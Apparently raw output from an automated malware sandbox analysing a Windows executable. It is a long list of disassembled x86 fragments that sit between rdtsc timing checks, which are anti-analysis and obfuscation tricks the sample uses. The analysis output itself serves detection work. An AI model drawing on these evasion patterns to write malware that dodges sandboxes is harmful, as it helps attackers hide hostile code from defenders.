Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DB5F35 second address: DB5F3E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DB60F0 second address: DB60F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DB60F4 second address: DB6110 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA34CE69A26h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DB6110 second address: DB6115 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DB6115 second address: DB6123 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FA34CE69A16h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DB66D0 second address: DB66E2 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FA34CB66816h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jl 00007FA34CB66816h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DB66E2 second address: DB66FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA34CE69A26h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DB66FC second address: DB6702 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DB6702 second address: DB6731 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA34CE69A26h 0x00000007 jmp 00007FA34CE69A1Bh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jnc 00007FA34CE69A38h 0x00000014 push eax 0x00000015 push edx 0x00000016 push esi 0x00000017 pop esi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DB6731 second address: DB673B instructions: 0x00000000 rdtsc 0x00000002 jng 00007FA34CB66816h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: D807BB second address: D807BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: D807BF second address: D807C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DB9A3D second address: DB9A42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DB9EDB second address: DB9EDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DB9EDF second address: DB9EE9 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FA34CE69A16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DBA18A second address: DBA190 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DBA7ED second address: DBA813 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA34CE69A1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push esi 0x0000000b mov dword ptr [ebp+12451BA2h], edx 0x00000011 pop esi 0x00000012 push eax 0x00000013 pushad 0x00000014 push esi 0x00000015 jp 00007FA34CE69A16h 0x0000001b pop esi 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DBA8DC second address: DBA915 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FA34CB6682Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007FA34CB6681Eh 0x00000011 pushad 0x00000012 jl 00007FA34CB66816h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DBAD8A second address: DBAD95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DBAE20 second address: DBAE24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DBAE24 second address: DBAE45 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA34CE69A29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DBB392 second address: DBB396 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DBBC01 second address: DBBC05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DBBC05 second address: DBBC34 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA34CB66824h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FA34CB66825h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DBBC34 second address: DBBC7E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007FA34CE69A1Fh 0x0000000d nop 0x0000000e push 00000000h 0x00000010 mov dword ptr [ebp+122D2E5Ah], esi 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push edx 0x0000001b call 00007FA34CE69A18h 0x00000020 pop edx 0x00000021 mov dword ptr [esp+04h], edx 0x00000025 add dword ptr [esp+04h], 00000017h 0x0000002d inc edx 0x0000002e push edx 0x0000002f ret 0x00000030 pop edx 0x00000031 ret 0x00000032 mov edi, esi 0x00000034 push eax 0x00000035 push eax 0x00000036 push edx 0x00000037 push esi 0x00000038 push eax 0x00000039 pop eax 0x0000003a pop esi 0x0000003b rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DBEDD3 second address: DBEE03 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA34CB6681Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007FA34CB66827h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DBEE03 second address: DBEE08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DBC47E second address: DBC482 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DC047F second address: DC0486 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DC0184 second address: DC018A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DC7369 second address: DC7370 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DC7875 second address: DC78C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 sub edi, dword ptr [ebp+122D28A2h] 0x0000000f push 00000000h 0x00000011 jmp 00007FA34CB6681Bh 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push ebp 0x0000001b call 00007FA34CB66818h 0x00000020 pop ebp 0x00000021 mov dword ptr [esp+04h], ebp 0x00000025 add dword ptr [esp+04h], 00000016h 0x0000002d inc ebp 0x0000002e push ebp 0x0000002f ret 0x00000030 pop ebp 0x00000031 ret 0x00000032 mov bl, dh 0x00000034 xchg eax, esi 0x00000035 pushad 0x00000036 jmp 00007FA34CB6681Eh 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DC78C7 second address: DC78CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DC0D4E second address: DC0D61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA34CB6681Eh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DC54FF second address: DC5503 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DC0D61 second address: DC0D66 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DC5503 second address: DC5512 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FA34CE69A16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DC7AE8 second address: DC7AEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DC7AEC second address: DC7B2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FA34CE69A28h 0x0000000c jmp 00007FA34CE69A1Eh 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 jl 00007FA34CE69A16h 0x0000001d jns 00007FA34CE69A16h 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DC55B6 second address: DC55BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DC8B26 second address: DC8B2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DCA84D second address: DCA852 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DC8B2D second address: DC8B33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DC8B33 second address: DC8B37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DCAA61 second address: DCAA65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DC8B37 second address: DC8B3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DCBA28 second address: DCBA2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DCAA65 second address: DCAA6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FA34CB66816h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DCAA6F second address: DCAA73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DCBC28 second address: DCBC2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DCE97D second address: DCEA05 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FA34CE69A1Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ecx 0x00000010 call 00007FA34CE69A18h 0x00000015 pop ecx 0x00000016 mov dword ptr [esp+04h], ecx 0x0000001a add dword ptr [esp+04h], 0000001Ch 0x00000022 inc ecx 0x00000023 push ecx 0x00000024 ret 0x00000025 pop ecx 0x00000026 ret 0x00000027 add edi, dword ptr [ebp+122D3B42h] 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push ebx 0x00000032 call 00007FA34CE69A18h 0x00000037 pop ebx 0x00000038 mov dword ptr [esp+04h], ebx 0x0000003c add dword ptr [esp+04h], 00000018h 0x00000044 inc ebx 0x00000045 push ebx 0x00000046 ret 0x00000047 pop ebx 0x00000048 ret 0x00000049 je 00007FA34CE69A1Ch 0x0000004f mov edi, dword ptr [ebp+1245BCDCh] 0x00000055 push 00000000h 0x00000057 add edi, 74ACFB67h 0x0000005d xchg eax, esi 0x0000005e push eax 0x0000005f push edx 0x00000060 jmp 00007FA34CE69A22h 0x00000065 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DCEA05 second address: DCEA0C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DCEA0C second address: DCEA1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edi 0x00000009 jo 00007FA34CE69A1Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DD08C6 second address: DD0938 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007FA34CB66829h 0x0000000a popad 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ebx 0x0000000f call 00007FA34CB66818h 0x00000014 pop ebx 0x00000015 mov dword ptr [esp+04h], ebx 0x00000019 add dword ptr [esp+04h], 00000016h 0x00000021 inc ebx 0x00000022 push ebx 0x00000023 ret 0x00000024 pop ebx 0x00000025 ret 0x00000026 sub dword ptr [ebp+122D2168h], esi 0x0000002c jmp 00007FA34CB66828h 0x00000031 push 00000000h 0x00000033 sub dword ptr [ebp+122D1D75h], ebx 0x00000039 push 00000000h 0x0000003b mov edi, dword ptr [ebp+122D2937h] 0x00000041 xchg eax, esi 0x00000042 push ecx 0x00000043 push eax 0x00000044 push edx 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DD0938 second address: DD093C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DD093C second address: DD0940 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DD0940 second address: DD094C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DCDB41 second address: DCDB4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DCDB4C second address: DCDB51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DCDB51 second address: DCDBB1 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FA34CB6681Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b sub bx, 8D53h 0x00000010 push dword ptr fs:[00000000h] 0x00000017 add dword ptr [ebp+122D2246h], ecx 0x0000001d mov dword ptr fs:[00000000h], esp 0x00000024 call 00007FA34CB6681Ah 0x00000029 je 00007FA34CB6681Bh 0x0000002f adc di, C3A6h 0x00000034 pop ebx 0x00000035 mov eax, dword ptr [ebp+122D116Dh] 0x0000003b push FFFFFFFFh 0x0000003d sub ebx, 428B6BC1h 0x00000043 push eax 0x00000044 push eax 0x00000045 push edx 0x00000046 push ebx 0x00000047 jmp 00007FA34CB6681Dh 0x0000004c pop ebx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DD38EF second address: DD394C instructions: 0x00000000 rdtsc 0x00000002 jc 00007FA34CE69A16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d pop esi 0x0000000e popad 0x0000000f push eax 0x00000010 jmp 00007FA34CE69A1Fh 0x00000015 nop 0x00000016 push 00000000h 0x00000018 push esi 0x00000019 call 00007FA34CE69A18h 0x0000001e pop esi 0x0000001f mov dword ptr [esp+04h], esi 0x00000023 add dword ptr [esp+04h], 0000001Ch 0x0000002b inc esi 0x0000002c push esi 0x0000002d ret 0x0000002e pop esi 0x0000002f ret 0x00000030 and edi, dword ptr [ebp+124796DAh] 0x00000036 push 00000000h 0x00000038 mov bl, 86h 0x0000003a push 00000000h 0x0000003c add ebx, 12EF0494h 0x00000042 xchg eax, esi 0x00000043 push eax 0x00000044 push edx 0x00000045 push ebx 0x00000046 push eax 0x00000047 pop eax 0x00000048 pop ebx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DD394C second address: DD3963 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FA34CB6681Ah 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edi 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DD3963 second address: DD3969 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DD4A27 second address: DD4A2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DD4A2C second address: DD4A31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DD4A31 second address: DD4A43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jo 00007FA34CB66818h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DD59BA second address: DD59C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DD59C0 second address: DD59C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DD59C4 second address: DD59DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jo 00007FA34CE69A24h 0x0000000f push eax 0x00000010 push edx 0x00000011 jng 00007FA34CE69A16h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DD1A13 second address: DD1A17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DD1A17 second address: DD1A1C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DD1A1C second address: DD1AA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ecx 0x0000000b call 00007FA34CB66818h 0x00000010 pop ecx 0x00000011 mov dword ptr [esp+04h], ecx 0x00000015 add dword ptr [esp+04h], 0000001Ah 0x0000001d inc ecx 0x0000001e push ecx 0x0000001f ret 0x00000020 pop ecx 0x00000021 ret 0x00000022 mov edi, dword ptr [ebp+122D2C6Fh] 0x00000028 push dword ptr fs:[00000000h] 0x0000002f push 00000000h 0x00000031 push ecx 0x00000032 call 00007FA34CB66818h 0x00000037 pop ecx 0x00000038 mov dword ptr [esp+04h], ecx 0x0000003c add dword ptr [esp+04h], 00000014h 0x00000044 inc ecx 0x00000045 push ecx 0x00000046 ret 0x00000047 pop ecx 0x00000048 ret 0x00000049 or dword ptr [ebp+122D3412h], edi 0x0000004f add bl, FFFFFF98h 0x00000052 mov dword ptr fs:[00000000h], esp 0x00000059 stc 0x0000005a mov eax, dword ptr [ebp+122D0601h] 0x00000060 je 00007FA34CB66818h 0x00000066 mov ebx, eax 0x00000068 push FFFFFFFFh 0x0000006a mov dword ptr [ebp+122D228Eh], ecx 0x00000070 nop 0x00000071 push eax 0x00000072 push edx 0x00000073 push edi 0x00000074 jp 00007FA34CB66816h 0x0000007a pop edi 0x0000007b rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DD1AA1 second address: DD1ABD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA34CE69A28h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DD1ABD second address: DD1AC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DD3AD4 second address: DD3ADB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DD3B86 second address: DD3B91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FA34CB66816h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DD3B91 second address: DD3B9E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DCEB34 second address: DCEB3E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DCEB3E second address: DCEB5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA34CE69A1Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jp 00007FA34CE69A1Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DCEB5C second address: DCEB60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DDF698 second address: DDF69E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DE4097 second address: DE409B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
